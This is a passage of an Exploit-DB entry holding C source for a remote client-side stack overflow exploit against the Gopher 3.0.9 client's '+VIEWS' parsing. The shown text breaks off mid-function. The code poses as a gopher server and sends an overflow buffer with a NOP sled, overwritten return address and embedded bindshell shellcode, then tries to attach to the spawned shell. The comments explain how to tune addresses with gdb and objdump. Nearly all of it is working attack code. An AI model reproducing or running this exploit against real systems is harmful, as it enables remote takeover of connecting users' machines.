Exploit-DB #1187
Description: Gopher 3.0.9 - '+VIEWS' Client-Side Buffer Overflow
Type: local
Platform: linux
Date: 2005-08-30
Author: vade79

Exploit:
/*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]
* 
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
* 
* compile: 
* gcc xgopher-client.c -o xgopher-client 
* 
* syntax: 
* ./xgopher-client <port> [bindshell port] 
* 
* The Internet Gopher Client is based on the UMN 
* Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology 
* that predates the Web. It presents information as a virtual 
* network-wide filesystem. Modern browsers such as Konqueror 
* can display gopherspace as if it contained files on your 
* local machine (trees, drag and drop, etc.), but the 
* difference is that each file or folder in that tree may be 
* on a different machine. 
* 
* this client contains a remotely exploitable buffer overflow 
* in the processing of "+VIEWS:" information, located in 
* SRC/object/VIews.c in the VIfromLine() function. 
* 
* this is a stack overflow that can be exploited immediately 
* upon the client's connection to an untrusted gopher server. 
* while this is a stack overflow, exploitation of this 
* overflow is not completely standard, and special values 
* will be needed for it to work. (see the first three DEFINEs 
* below) 
* 
* i made this simply to be sure it was possible to exploit, 
* tested successfully on mandrake/9.2 with gopher/3.0.9 
* compiled from source. 
***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */

/* this needs to be replaced as a null-byte will overwrite it. this */
/* can be found in gdb using a trial-run of the exploit. */
/* (gdb) break VIfromLine */
/* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
/* (gdb) run server-running-this-exploit.com 70 */
/* ... */
/* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */
/* -----------------------------^^^^^^^^^ */
/* ... */
#define REPLACE_VI_ADDR 0x08074f08

/* where the shellcode is located. you can use a trial-run to get */
/* this as well, run "objdump -s <core> | grep 90909090" on the */
/* core file, and choose something in the middle of all the */
/* 0xbfff???? addresses dumped. */
#define RET_ADDR 0xbfffe910

/* guess time; try between 0-12, not likely to be anything */
/* higher than that. */
#define PLACEMENT_OFFSET 7

/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
#define BUFSIZE 500
#define DFL_BINDSHELL_PORT 7979
#define TIMEOUT 10

static char x86_exec[]= /* bindshell, from netric. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";

/* prototypes. */
unsigned char *getcode(void);
char *gopherd_bind(unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv){
unsigned short port=0,sport=DFL_BINDSHELL_PORT;
char *hostptr;
printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp"
"loit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]);
exit(1);
}
port=atoi(argv[1]);
if(argc>2)sport=atoi(argv[2]);

/* set the port to bind to in the shellcode. */
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);

/* verbose values display. */
printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR);
printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR);
printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n",
PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
printf("[*] server port\t\t\t\t: %u\n",port);
printf("[*] bindshell port\t\t\t: %u\n\n",sport);

/* wait for a connection and send overflow. */
hostptr=gopherd_bind(port);

/* be safe, and give it time to run. */
sleep(3);

/* see if a shell spawned. */
getshell(hostptr,sport);

exit(0);
}
/* this is what fills the buffer that will be overflown. (tmpstr[256]) */
unsigned char *getcode(void){
unsigned char *buf;
if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);

/* make everything nops, and overwrite where needed. */
memset(buf,0x90,BUFSIZE);

/* this gives more NOP/guessing room. if it hits before the addresses, */
/* it will jump over them to get to the shellcode. (jumps 8 bytes) */
buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */

/* return address. */
*(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;

/* the replacement value will be right after the new return address. */
/* (this is needed because a null-byte will corrupt it, and fault */
/* where not desired) */
*(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;

/* add shellcode to the end of the buffer. */
memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
return(buf);
}
char *gopherd_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
char pseudobuf[2];
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind s